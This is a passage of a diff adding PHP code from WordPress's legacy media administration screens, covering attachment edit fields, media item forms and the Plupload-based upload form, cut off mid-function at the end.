+		if ( strlen( trim( $post['post_title'] ) ) == 0 ) {
+			$attachment_url = ( isset( $post['attachment_url'] ) ) ? $post['attachment_url'] : $post['guid'];
+			$post['post_title'] = preg_replace( '/\.\w+$/', '', wp_basename( $attachment_url ) );
+			$post['errors']['post_title']['errors'][] = __( 'Empty Title filled from filename.' );
+		}
+	}
+
+	return $post;
+}
+
+add_filter( 'attachment_fields_to_save', 'image_attachment_fields_to_save', 10, 2 );
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @param string $html
+ * @param integer $attachment_id
+ * @param array $attachment
+ * @return string
+ */
+function image_media_send_to_editor($html, $attachment_id, $attachment) {
+	$post = get_post($attachment_id);
+	if ( substr($post->post_mime_type, 0, 5) == 'image' ) {
+		$url = $attachment['url'];
+		$align = !empty($attachment['align']) ? $attachment['align'] : 'none';
+		$size = !empty($attachment['image-size']) ? $attachment['image-size'] : 'medium';
+		$alt = !empty($attachment['image_alt']) ? $attachment['image_alt'] : '';
+		$rel = ( $url == get_attachment_link($attachment_id) );
+
+		return get_image_send_to_editor($attachment_id, $attachment['post_excerpt'], $attachment['post_title'], $align, $url, $rel, $size, $alt);
+	}
+
+	return $html;
+}
+
+add_filter('media_send_to_editor', 'image_media_send_to_editor', 10, 3);
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @param WP_Post $post
+ * @param array $errors
+ * @return array
+ */
+function get_attachment_fields_to_edit($post, $errors = null) {
+	if ( is_int($post) )
+		$post = get_post($post);
+	if ( is_array($post) )
+		$post = new WP_Post( (object) $post );
+
+	$image_url = wp_get_attachment_url($post->ID);
+
+	$edit_post = sanitize_post($post, 'edit');
+
+	$form_fields = array(
+		'post_title'   => array(
+			'label'      => __('Title'),
+			'value'      => $edit_post->post_title
+		),
+		'image_alt'   => array(),
+		'post_excerpt' => array(
+			'label'      => __('Caption'),
+			'input'      => 'html',
+			'html'       => wp_caption_input_textarea($edit_post)
+		),
+		'post_content' => array(
+			'label'      => __('Description'),
+			'value'      => $edit_post->post_content,
+			'input'      => 'textarea'
+		),
+		'url'          => array(
+			'label'      => __('Link URL'),
+			'input'      => 'html',
+			'html'       => image_link_input_fields($post, get_option('image_default_link_type')),
+			'helps'      => __('Enter a link URL or click above for presets.')
+		),
+		'menu_order'   => array(
+			'label'      => __('Order'),
+			'value'      => $edit_post->menu_order
+		),
+		'image_url'	=> array(
+			'label'      => __('File URL'),
+			'input'      => 'html',
+			'html'       => "<input type='text' class='text urlfield' readonly='readonly' name='attachments[$post->ID][url]' value='" . esc_attr($image_url) . "' /><br />",
+			'value'      => wp_get_attachment_url($post->ID),
+			'helps'      => __('Location of the uploaded file.')
+		)
+	);
+
+	foreach ( get_attachment_taxonomies($post) as $taxonomy ) {
+		$t = (array) get_taxonomy($taxonomy);
+		if ( ! $t['public'] || ! $t['show_ui'] )
+			continue;
+		if ( empty($t['label']) )
+			$t['label'] = $taxonomy;
+		if ( empty($t['args']) )
+			$t['args'] = array();
+
+		$terms = get_object_term_cache($post->ID, $taxonomy);
+		if ( false === $terms )
+			$terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']);
+
+		$values = array();
+
+		foreach ( $terms as $term )
+			$values[] = $term->slug;
+		$t['value'] = join(', ', $values);
+
+		$form_fields[$taxonomy] = $t;
+	}
+
+	// Merge default fields with their errors, so any key passed with the error (e.g. 'error', 'helps', 'value') will replace the default
+	// The recursive merge is easily traversed with array casting: foreach( (array) $things as $thing )
+	$form_fields = array_merge_recursive($form_fields, (array) $errors);
+
+	// This was formerly in image_attachment_fields_to_edit().
+	if ( substr($post->post_mime_type, 0, 5) == 'image' ) {
+		$alt = get_post_meta($post->ID, '_wp_attachment_image_alt', true);
+		if ( empty($alt) )
+			$alt = '';
+
+		$form_fields['post_title']['required'] = true;
+
+		$form_fields['image_alt'] = array(
+			'value' => $alt,
+			'label' => __('Alternative Text'),
+			'helps' => __('Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;')
+		);
+
+		$form_fields['align'] = array(
+			'label' => __('Alignment'),
+			'input' => 'html',
+			'html'  => image_align_input_fields($post, get_option('image_default_align')),
+		);
+
+		$form_fields['image-size'] = image_size_input_fields( $post, get_option('image_default_size', 'medium') );
+
+	} else {
+		unset( $form_fields['image_alt'] );
+	}
+
+	/**
+	 * Filter the attachment fields to edit.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array   $form_fields An array of attachment form fields.
+	 * @param WP_Post $post        The WP_Post attachment object.
+	 */
+	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );
+
+	return $form_fields;
+}
+
+/**
+ * Retrieve HTML for media items of post gallery.
+ *
+ * The HTML markup retrieved will be created for the progress of SWF Upload
+ * component. Will also create link for showing and hiding the form to modify
+ * the image attachment.
+ *
+ * @since 2.5.0
+ *
+ * @param int $post_id Optional. Post ID.
+ * @param array $errors Errors for attachment, if any.
+ * @return string
+ */
+function get_media_items( $post_id, $errors ) {
+	$attachments = array();
+	if ( $post_id ) {
+		$post = get_post($post_id);
+		if ( $post && $post->post_type == 'attachment' )
+			$attachments = array($post->ID => $post);
+		else
+			$attachments = get_children( array( 'post_parent' => $post_id, 'post_type' => 'attachment', 'orderby' => 'menu_order ASC, ID', 'order' => 'DESC') );
+	} else {
+		if ( is_array($GLOBALS['wp_the_query']->posts) )
+			foreach ( $GLOBALS['wp_the_query']->posts as $attachment )
+				$attachments[$attachment->ID] = $attachment;
+	}
+
+	$output = '';
+	foreach ( (array) $attachments as $id => $attachment ) {
+		if ( $attachment->post_status == 'trash' )
+			continue;
+		if ( $item = get_media_item( $id, array( 'errors' => isset($errors[$id]) ? $errors[$id] : null) ) )
+			$output .= "\n<div id='media-item-$id' class='media-item child-of-$attachment->post_parent preloaded'><div class='progress hidden'><div class='bar'></div></div><div id='media-upload-error-$id' class='hidden'></div><div class='filename hidden'></div>$item\n</div>";
+	}
+
+	return $output;
+}
+
+/**
+ * Retrieve HTML form for modifying the image attachment.
+ *
+ * @since 2.5.0
+ *
+ * @param int $attachment_id Attachment ID for modification.
+ * @param string|array $args Optional. Override defaults.
+ * @return string HTML form for attachment.
+ */
+function get_media_item( $attachment_id, $args = null ) {
+	global $redir_tab;
+
+	if ( ( $attachment_id = intval( $attachment_id ) ) && $thumb_url = wp_get_attachment_image_src( $attachment_id, 'thumbnail', true ) )
+		$thumb_url = $thumb_url[0];
+	else
+		$thumb_url = false;
+
+	$post = get_post( $attachment_id );
+	$current_post_id = !empty( $_GET['post_id'] ) ? (int) $_GET['post_id'] : 0;
+
+	$default_args = array(
+		'errors' => null,
+		'send' => $current_post_id ? post_type_supports( get_post_type( $current_post_id ), 'editor' ) : true,
+		'delete' => true,
+		'toggle' => true,
+		'show_title' => true
+	);
+	$args = wp_parse_args( $args, $default_args );
+
+	/**
+	 * Filter the arguments used to retrieve an image for the edit image form.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see get_media_item
+	 *
+	 * @param array $args An array of arguments.
+	 */
+	$r = apply_filters( 'get_media_item_args', $args );
+
+	$toggle_on  = __( 'Show' );
+	$toggle_off = __( 'Hide' );
+
+	$filename = esc_html( wp_basename( $post->guid ) );
+	$title = esc_attr( $post->post_title );
+
+	$post_mime_types = get_post_mime_types();
+	$keys = array_keys( wp_match_mime_types( array_keys( $post_mime_types ), $post->post_mime_type ) );
+	$type = array_shift( $keys );
+	$type_html = "<input type='hidden' id='type-of-$attachment_id' value='" . esc_attr( $type ) . "' />";
+
+	$form_fields = get_attachment_fields_to_edit( $post, $r['errors'] );
+
+	if ( $r['toggle'] ) {
+		$class = empty( $r['errors'] ) ? 'startclosed' : 'startopen';
+		$toggle_links = "
+	<a class='toggle describe-toggle-on' href='#'>$toggle_on</a>
+	<a class='toggle describe-toggle-off' href='#'>$toggle_off</a>";
+	} else {
+		$class = '';
+		$toggle_links = '';
+	}
+
+	$display_title = ( !empty( $title ) ) ? $title : $filename; // $title shouldn't ever be empty, but just in case
+	$display_title = $r['show_title'] ? "<div class='filename new'><span class='title'>" . wp_html_excerpt( $display_title, 60, '&hellip;' ) . "</span></div>" : '';
+
+	$gallery = ( ( isset( $_REQUEST['tab'] ) && 'gallery' == $_REQUEST['tab'] ) || ( isset( $redir_tab ) && 'gallery' == $redir_tab ) );
+	$order = '';
+
+	foreach ( $form_fields as $key => $val ) {
+		if ( 'menu_order' == $key ) {
+			if ( $gallery )
+				$order = "<div class='menu_order'> <input class='menu_order_input' type='text' id='attachments[$attachment_id][menu_order]' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ). "' /></div>";
+			else
+				$order = "<input type='hidden' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' />";
+
+			unset( $form_fields['menu_order'] );
+			break;
+		}
+	}
+
+	$media_dims = '';
+	$meta = wp_get_attachment_metadata( $post->ID );
+	if ( isset( $meta['width'], $meta['height'] ) )
+		$media_dims .= "<span id='media-dims-$post->ID'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
+
+	/**
+	 * Filter the media metadata.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string  $media_dims The HTML markup containing the media dimensions.
+	 * @param WP_Post $post       The WP_Post attachment object.
+	 */
+	$media_dims = apply_filters( 'media_meta', $media_dims, $post );
+
+	$image_edit_button = '';
+	if ( wp_attachment_is_image( $post->ID ) && wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
+		$nonce = wp_create_nonce( "image_editor-$post->ID" );
+		$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
+	}
+
+	$attachment_url = get_permalink( $attachment_id );
+
+	$item = "
+	$type_html
+	$toggle_links
+	$order
+	$display_title
+	<table class='slidetoggle describe $class'>
+		<thead class='media-item-info' id='media-head-$post->ID'>
+		<tr>
+			<td class='A1B1' id='thumbnail-head-$post->ID'>
+			<p><a href='$attachment_url' target='_blank'><img class='thumbnail' src='$thumb_url' alt='' /></a></p>
+			<p>$image_edit_button</p>
+			</td>
+			<td>
+			<p><strong>" . __('File name:') . "</strong> $filename</p>
+			<p><strong>" . __('File type:') . "</strong> $post->post_mime_type</p>
+			<p><strong>" . __('Upload date:') . "</strong> " . mysql2date( get_option('date_format'), $post->post_date ). '</p>';
+			if ( !empty( $media_dims ) )
+				$item .= "<p><strong>" . __('Dimensions:') . "</strong> $media_dims</p>\n";
+
+			$item .= "</td></tr>\n";
+
+	$item .= "
+		</thead>
+		<tbody>
+		<tr><td colspan='2' class='imgedit-response' id='imgedit-response-$post->ID'></td></tr>
+		<tr><td style='display:none' colspan='2' class='image-editor' id='image-editor-$post->ID'></td></tr>\n";
+
+	$defaults = array(
+		'input'      => 'text',
+		'required'   => false,
+		'value'      => '',
+		'extra_rows' => array(),
+	);
+
+	if ( $r['send'] ) {
+		$r['send'] = get_submit_button( __( 'Insert into Post' ), 'button', "send[$attachment_id]", false );
+	}
+
+	$delete = empty( $r['delete'] ) ? '' : $r['delete'];
+	if ( $delete && current_user_can( 'delete_post', $attachment_id ) ) {
+		if ( !EMPTY_TRASH_DAYS ) {
+			$delete = "<a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete-permanently'>" . __( 'Delete Permanently' ) . '</a>';
+		} elseif ( !MEDIA_TRASH ) {
+			$delete = "<a href='#' class='del-link' onclick=\"document.getElementById('del_attachment_$attachment_id').style.display='block';return false;\">" . __( 'Delete' ) . "</a>
+			 <div id='del_attachment_$attachment_id' class='del-attachment' style='display:none;'><p>" . sprintf( __( 'You are about to delete <strong>%s</strong>.' ), $filename ) . "</p>
+			 <a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='button'>" . __( 'Continue' ) . "</a>
+			 <a href='#' class='button' onclick=\"this.parentNode.style.display='none';return false;\">" . __( 'Cancel' ) . "</a>
+			 </div>";
+		} else {
+			$delete = "<a href='" . wp_nonce_url( "post.php?action=trash&amp;post=$attachment_id", 'trash-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete'>" . __( 'Move to Trash' ) . "</a>
+			<a href='" . wp_nonce_url( "post.php?action=untrash&amp;post=$attachment_id", 'untrash-post_' . $attachment_id ) . "' id='undo[$attachment_id]' class='undo hidden'>" . __( 'Undo' ) . "</a>";
+		}
+	} else {
+		$delete = '';
+	}
+
+	$thumbnail = '';
+	$calling_post_id = 0;
+	if ( isset( $_GET['post_id'] ) ) {
+		$calling_post_id = absint( $_GET['post_id'] );
+	} elseif ( isset( $_POST ) && count( $_POST ) ) {// Like for async-upload where $_GET['post_id'] isn't set
+		$calling_post_id = $post->post_parent;
+	}
+	if ( 'image' == $type && $calling_post_id && current_theme_supports( 'post-thumbnails', get_post_type( $calling_post_id ) )
+		&& post_type_supports( get_post_type( $calling_post_id ), 'thumbnail' ) && get_post_thumbnail_id( $calling_post_id ) != $attachment_id ) {
+		$ajax_nonce = wp_create_nonce( "set_post_thumbnail-$calling_post_id" );
+		$thumbnail = "<a class='wp-post-thumbnail' id='wp-post-thumbnail-" . $attachment_id . "' href='#' onclick='WPSetAsThumbnail(\"$attachment_id\", \"$ajax_nonce\");return false;'>" . esc_html__( "Use as featured image" ) . "</a>";
+	}
+
+	if ( ( $r['send'] || $thumbnail || $delete ) && !isset( $form_fields['buttons'] ) ) {
+		$form_fields['buttons'] = array( 'tr' => "\t\t<tr class='submit'><td></td><td class='savesend'>" . $r['send'] . " $thumbnail $delete</td></tr>\n" );
+	}
+	$hidden_fields = array();
+
+	foreach ( $form_fields as $id => $field ) {
+		if ( $id[0] == '_' )
+			continue;
+
+		if ( !empty( $field['tr'] ) ) {
+			$item .= $field['tr'];
+			continue;
+		}
+
+		$field = array_merge( $defaults, $field );
+		$name = "attachments[$attachment_id][$id]";
+
+		if ( $field['input'] == 'hidden' ) {
+			$hidden_fields[$name] = $field['value'];
+			continue;
+		}
+
+		$required      = $field['required'] ? '<span class="alignright"><abbr title="required" class="required">*</abbr></span>' : '';
+		$aria_required = $field['required'] ? " aria-required='true' " : '';
+		$class  = $id;
+		$class .= $field['required'] ? ' form-required' : '';
+
+		$item .= "\t\t<tr class='$class'>\n\t\t\t<th scope='row' class='label'><label for='$name'><span class='alignleft'>{$field['label']}</span>$required<br class='clear' /></label></th>\n\t\t\t<td class='field'>";
+		if ( !empty( $field[ $field['input'] ] ) )
+			$item .= $field[ $field['input'] ];
+		elseif ( $field['input'] == 'textarea' ) {
+			if ( 'post_content' == $id && user_can_richedit() ) {
+				// Sanitize_post() skips the post_content when user_can_richedit.
+				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
+			}
+			// Post_excerpt is already escaped by sanitize_post() in get_attachment_fields_to_edit().
+			$item .= "<textarea id='$name' name='$name' $aria_required>" . $field['value'] . '</textarea>';
+		} else {
+			$item .= "<input type='text' class='text' id='$name' name='$name' value='" . esc_attr( $field['value'] ) . "' $aria_required />";
+		}
+		if ( !empty( $field['helps'] ) )
+			$item .= "<p class='help'>" . join( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
+		$item .= "</td>\n\t\t</tr>\n";
+
+		$extra_rows = array();
+
+		if ( !empty( $field['errors'] ) )
+			foreach ( array_unique( (array) $field['errors'] ) as $error )
+				$extra_rows['error'][] = $error;
+
+		if ( !empty( $field['extra_rows'] ) )
+			foreach ( $field['extra_rows'] as $class => $rows )
+				foreach ( (array) $rows as $html )
+					$extra_rows[$class][] = $html;
+
+		foreach ( $extra_rows as $class => $rows )
+			foreach ( $rows as $html )
+				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
+	}
+
+	if ( !empty( $form_fields['_final'] ) )
+		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
+	$item .= "\t</tbody>\n";
+	$item .= "\t</table>\n";
+
+	foreach ( $hidden_fields as $name => $value )
+		$item .= "\t<input type='hidden' name='$name' id='$name' value='" . esc_attr( $value ) . "' />\n";
+
+	if ( $post->post_parent < 1 && isset( $_REQUEST['post_id'] ) ) {
+		$parent = (int) $_REQUEST['post_id'];
+		$parent_name = "attachments[$attachment_id][post_parent]";
+		$item .= "\t<input type='hidden' name='$parent_name' id='$parent_name' value='$parent' />\n";
+	}
+
+	return $item;
+}
+
+function get_compat_media_markup( $attachment_id, $args = null ) {
+	$post = get_post( $attachment_id );
+
+	$default_args = array(
+		'errors' => null,
+		'in_modal' => false,
+	);
+
+	$user_can_edit = current_user_can( 'edit_post', $attachment_id );
+
+	$args = wp_parse_args( $args, $default_args );
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$args = apply_filters( 'get_media_item_args', $args );
+
+	$form_fields = array();
+
+	if ( $args['in_modal'] ) {
+		foreach ( get_attachment_taxonomies($post) as $taxonomy ) {
+			$t = (array) get_taxonomy($taxonomy);
+			if ( ! $t['public'] || ! $t['show_ui'] )
+				continue;
+			if ( empty($t['label']) )
+				$t['label'] = $taxonomy;
+			if ( empty($t['args']) )
+				$t['args'] = array();
+
+			$terms = get_object_term_cache($post->ID, $taxonomy);
+			if ( false === $terms )
+				$terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']);
+
+			$values = array();
+
+			foreach ( $terms as $term )
+				$values[] = $term->slug;
+			$t['value'] = join(', ', $values);
+			$t['taxonomy'] = true;
+
+			$form_fields[$taxonomy] = $t;
+		}
+	}
+
+	// Merge default fields with their errors, so any key passed with the error (e.g. 'error', 'helps', 'value') will replace the default
+	// The recursive merge is easily traversed with array casting: foreach( (array) $things as $thing )
+	$form_fields = array_merge_recursive($form_fields, (array) $args['errors'] );
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );
+
+	unset( $form_fields['image-size'], $form_fields['align'], $form_fields['image_alt'],
+		$form_fields['post_title'], $form_fields['post_excerpt'], $form_fields['post_content'],
+		$form_fields['url'], $form_fields['menu_order'], $form_fields['image_url'] );
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$media_meta = apply_filters( 'media_meta', '', $post );
+
+	$defaults = array(
+		'input'         => 'text',
+		'required'      => false,
+		'value'         => '',
+		'extra_rows'    => array(),
+		'show_in_edit'  => true,
+		'show_in_modal' => true,
+	);
+
+	$hidden_fields = array();
+
+	$item = '';
+	foreach ( $form_fields as $id => $field ) {
+		if ( $id[0] == '_' )
+			continue;
+
+		$name = "attachments[$attachment_id][$id]";
+		$id_attr = "attachments-$attachment_id-$id";
+
+		if ( !empty( $field['tr'] ) ) {
+			$item .= $field['tr'];
+			continue;
+		}
+
+		$field = array_merge( $defaults, $field );
+
+		if ( ( ! $field['show_in_edit'] && ! $args['in_modal'] ) || ( ! $field['show_in_modal'] && $args['in_modal'] ) )
+			continue;
+
+		if ( $field['input'] == 'hidden' ) {
+			$hidden_fields[$name] = $field['value'];
+			continue;
+		}
+
+		$readonly      = ! $user_can_edit && ! empty( $field['taxonomy'] ) ? " readonly='readonly' " : '';
+		$required      = $field['required'] ? '<span class="alignright"><abbr title="required" class="required">*</abbr></span>' : '';
+		$aria_required = $field['required'] ? " aria-required='true' " : '';
+		$class  = 'compat-field-' . $id;
+		$class .= $field['required'] ? ' form-required' : '';
+
+		$item .= "\t\t<tr class='$class'>";
+		$item .= "\t\t\t<th scope='row' class='label'><label for='$id_attr'><span class='alignleft'>{$field['label']}</span>$required<br class='clear' /></label>";
+		$item .= "</th>\n\t\t\t<td class='field'>";
+
+		if ( !empty( $field[ $field['input'] ] ) )
+			$item .= $field[ $field['input'] ];
+		elseif ( $field['input'] == 'textarea' ) {
+			if ( 'post_content' == $id && user_can_richedit() ) {
+				// sanitize_post() skips the post_content when user_can_richedit.
+				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
+			}
+			$item .= "<textarea id='$id_attr' name='$name' $aria_required>" . $field['value'] . '</textarea>';
+		} else {
+			$item .= "<input type='text' class='text' id='$id_attr' name='$name' value='" . esc_attr( $field['value'] ) . "' $readonly $aria_required />";
+		}
+		if ( !empty( $field['helps'] ) )
+			$item .= "<p class='help'>" . join( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
+		$item .= "</td>\n\t\t</tr>\n";
+
+		$extra_rows = array();
+
+		if ( !empty( $field['errors'] ) )
+			foreach ( array_unique( (array) $field['errors'] ) as $error )
+				$extra_rows['error'][] = $error;
+
+		if ( !empty( $field['extra_rows'] ) )
+			foreach ( $field['extra_rows'] as $class => $rows )
+				foreach ( (array) $rows as $html )
+					$extra_rows[$class][] = $html;
+
+		foreach ( $extra_rows as $class => $rows )
+			foreach ( $rows as $html )
+				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
+	}
+
+	if ( !empty( $form_fields['_final'] ) )
+		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
+	if ( $item )
+		$item = '<table class="compat-attachment-fields">' . $item . '</table>';
+
+	foreach ( $hidden_fields as $hidden_field => $value ) {
+		$item .= '<input type="hidden" name="' . esc_attr( $hidden_field ) . '" value="' . esc_attr( $value ) . '" />' . "\n";
+	}
+
+	if ( $item )
+		$item = '<input type="hidden" name="attachments[' . $attachment_id . '][menu_order]" value="' . esc_attr( $post->menu_order ) . '" />' . $item;
+
+	return array(
+		'item'   => $item,
+		'meta'   => $media_meta,
+	);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ */
+function media_upload_header() {
+	$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;
+	echo '<script type="text/javascript">post_id = ' . $post_id . ";</script>\n";
+	if ( empty( $_GET['chromeless'] ) ) {
+		echo '<div id="media-upload-header">';
+		the_media_upload_tabs();
+		echo '</div>';
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @param array $errors
+ */
+function media_upload_form( $errors = null ) {
+	global $type, $tab, $is_IE, $is_opera;
+
+	if ( ! _device_can_upload() ) {
+		echo '<p>' . sprintf( __('The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.'), 'https://apps.wordpress.org/' ) . '</p>';
+		return;
+	}
+
+	$upload_action_url = admin_url('async-upload.php');
+	$post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
+	$_type = isset($type) ? $type : '';
+	$_tab = isset($tab) ? $tab : '';
+
+	$max_upload_size = wp_max_upload_size();
+	if ( ! $max_upload_size ) {
+		$max_upload_size = 0;
+	}
+?>
+
+<div id="media-upload-notice"><?php
+
+	if (isset($errors['upload_notice']) )
+		echo $errors['upload_notice'];
+
+?></div>
+<div id="media-upload-error"><?php
+
+	if (isset($errors['upload_error']) && is_wp_error($errors['upload_error']))
+		echo $errors['upload_error']->get_error_message();
+
+?></div>
+<?php
+if ( is_multisite() && !is_upload_space_available() ) {
+	/**
+	 * Fires when an upload will exceed the defined upload space quota for a network site.
+	 *
+	 * @since 3.5.0
+	 */
+	do_action( 'upload_ui_over_quota' );
+	return;
+}
+
+/**
+ * Fires just before the legacy (pre-3.5.0) upload interface is loaded.
+ *
+ * @since 2.6.0
+ */
+do_action( 'pre-upload-ui' );
+
+$post_params = array(
+	"post_id" => $post_id,
+	"_wpnonce" => wp_create_nonce('media-form'),
+	"type" => $_type,
+	"tab" => $_tab,
+	"short" => "1",
+);
+
+/**
+ * Filter the media upload post parameters.
+ *
+ * @since 3.1.0 As 'swfupload_post_params'
+ * @since 3.3.0
+ *
+ * @param array $post_params An array of media upload parameters used by Plupload.
+ */
+$post_params = apply_filters( 'upload_post_params', $post_params );
+
+$plupload_init = array(
+	'runtimes'            => 'html5,flash,silverlight,html4',
+	'browse_button'       => 'plupload-browse-button',
+	'container'           => 'plupload-upload-ui',
+	'drop_element'        => 'drag-drop-area',
+	'file_data_name'      => 'async-upload',
+	'url'                 => $upload_action_url,
+	'flash_swf_url'       => includes_url( 'js/plupload/plupload.flash.swf' ),
+	'silverlight_xap_url' => includes_url( 'js/plupload/plupload.silverlight.xap' ),
+	'filters' => array(
+		'max_file_size'   => $max_upload_size . 'b',
+	),
+	'multipart_params'    => $post_params,
+);
+
+// Currently only iOS Safari supports multiple files uploading but iOS 7.x has a bug that prevents uploading of videos
+// when enabled. See #29602.
+if ( wp_is_mobile() && strpos( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' ) !== false &&
+	strpos( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' ) !== false ) {
+
+	$plupload_init['multi_selection'] = false;
+}
+
+/**
+ * Filter the default Plupload settings.
+ *
+ * @since 3.3.0
+ *
+ * @param array $plupload_init An array of default settings used by Plupload.
+ */
+$plupload_init = apply_filters( 'plupload_init', $plupload_init );
+
+?>
+
+<script type="text/javascript">
+<?php
+// Verify size is an int. If not return default value.
+$large_size_h = absint( get_option('large_size_h') );
+if( !$large_size_h )
+	$large_size_h = 1024;
+$large_size_w = absint( get_option('large_size_w') );
+if( !$large_size_w )
+	$large_size_w = 1024;
+?>
+var resize_height = <?php echo $large_size_h; ?>, resize_width = <?php echo $large_size_w; ?>,
+wpUploaderInit = <?php echo wp_json_encode( $plupload_init ); ?>;
+</script>
+
+<div id="plupload-upload-ui" class="hide-if-no-js">
+<?php
+/**
+ * Fires before the upload interface loads.
+ *
+ * @since 2.6.0 As 'pre-flash-upload-ui'
+ * @since 3.3.0
+ */
+do_action( 'pre-plupload-upload-ui' ); ?>
+<div id="drag-drop-area">
+	<div class="drag-drop-inside">
+	<p class="drag-drop-info"><?php _e('Drop files here'); ?></p>
+	<p><?php _ex('or', 'Uploader: Drop files here - or - Select Files'); ?></p>
+	<p class="drag-drop-buttons"><input id="plupload-browse-button" type="button" value="<?php esc_attr_e('Select Files'); ?>" class="button" /></p>
+	</div>
+</div>
+<?php
+/**
+ * Fires after the upload interface loads.
+ *
+ * @since 2.6.0 As 'post-flash-upload-ui'
+ * @since 3.3.0
+ */
+do_action( 'post-plupload-upload-ui' ); ?>
+</div>
+
+<div id="html-upload-ui" class="hide-if-js">
+	<?php
+	/**
+	 * Fires before the upload button in the media upload interface.
+	 *
+	 * @since 2.6.0
+	 */
+	do_action( 'pre-html-upload-ui' );
+	?>
+	<p id="async-upload-wrap">
+		<label class="screen-reader-text" for="async-upload"><?php _e('Upload'); ?></label>
+		<input type="file" name="async-upload" id="async-upload" />
+		<?php submit_button( __( 'Upload' ), 'button', 'html-upload', false ); ?>
+		<a href="#" onclick="try{top.tb_remove();}catch(e){}; return false;"><?php _e('Cancel'); ?></a>
+	</p>
+	<div class="clear"></div>
+<?php
+/**
+ * Fires after the upload button in the media upload interface.
+ *
+ * @since 2.6.0
+ */
+do_action( 'post-html-upload-ui' );
+?>
+</div>
+
+<p class="max-upload-size"><?php printf( __( 'Maximum upload file size: %s.' ), esc_html( size_format( $max_upload_size ) ) ); ?></p>
+<?php
+
+	/**
+	 * Fires on the post upload UI screen.
+	 *
+	 * Legacy (pre-3.5.0) media workflow hook.
+	 *
+	 * @since 2.6.0
+	 */
+	do_action( 'post-upload-ui' );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @param string $type
+ * @param object $errors
+ * @param integer $id
+ */
+function media_upload_type_form($type = 'file', $errors = null, $id = null) {
+
+	media_upload_header();
+
+	$post_id = isset( $_REQUEST['post_id'] )? intval( $_REQUEST['post_id'] ) : 0;
+
+	$form_action_url = admin_url("media-upload.php?type=$type&tab=type&post_id=$post_id");
+
+	/**
+	 * Filter the media upload form action URL.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $form_action_url The media upload form action URL.
+	 * @param string $type            The type of media. Default 'file'.
+	 */
+	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
+	$form_class = 'media-upload-form type-form validate';
+
+	if ( get_user_setting('uploader') )
+		$form_class .= ' html-uploader';
+?>
+
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
+<?php submit_button( '', 'hidden', 'save', false ); ?>
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+<?php wp_nonce_field('media-form'); ?>
+
+<h3 class="media-title"><?php _e('Add media files from your computer'); ?></h3>
+
+<?php media_upload_form( $errors ); ?>
+
+<script type="text/javascript">
+//<![CDATA[
+jQuery(function($){
+	var preloaded = $(".media-item.preloaded");
+	if ( preloaded.length > 0 ) {
+		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
+	}
+	updateMediaForm();
+});
+//]]>
+</script>
+<div id="media-items"><?php
+
+if ( $id ) {
+	if ( !is_wp_error($id) ) {
+		add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
+		echo get_media_items( $id, $errors );
+	} else {
+		echo '<div id="media-upload-error">'.esc_html($id->get_error_message()).'</div></div>';
+		exit;
+	}
+}
+?></div>
+
+<p class="savebutton ml-submit">
+<?php submit_button( __( 'Save all changes' ), 'button', 'save', false ); ?>
+</p>
+</form>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.7.0
+ *
+ * @param string $type
+ * @param object $errors
+ * @param integer $id
+ */
+function media_upload_type_url_form($type = null, $errors = null, $id = null) {
+	if ( null === $type )
+		$type = 'image';
+
+	media_upload_header();
+
